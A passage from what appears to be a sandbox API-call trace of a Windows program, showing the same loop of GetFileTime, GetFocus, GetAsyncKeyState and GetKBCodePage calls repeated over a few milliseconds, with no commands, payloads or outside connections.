lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.011] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.011] GetFocus () returned 0x0 [0248.011] GetAsyncKeyState (vKey=58) returned 0 [0248.011] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.012] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.012] GetFocus () returned 0x0 [0248.012] GetAsyncKeyState (vKey=58) returned 0 [0248.012] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.013] GetFocus () returned 0x0 [0248.013] GetAsyncKeyState (vKey=58) returned 0 [0248.013] GetKBCodePage () returned 0x1b5 [0248.013] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.014] GetFocus () returned 0x0 [0248.014] GetAsyncKeyState (vKey=58) returned 0 [0248.014] GetKBCodePage () returned 0x1b5 [0248.014] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.015] GetFocus () returned 0x0 [0248.015] GetAsyncKeyState (vKey=58) returned 0 [0248.015] GetKBCodePage () returned 0x1b5 [0248.015] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] GetAsyncKeyState (vKey=58) returned 0 [0248.016] GetKBCodePage () returned 0x1b5 [0248.016] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.016] GetFocus () returned 0x0 [0248.016] 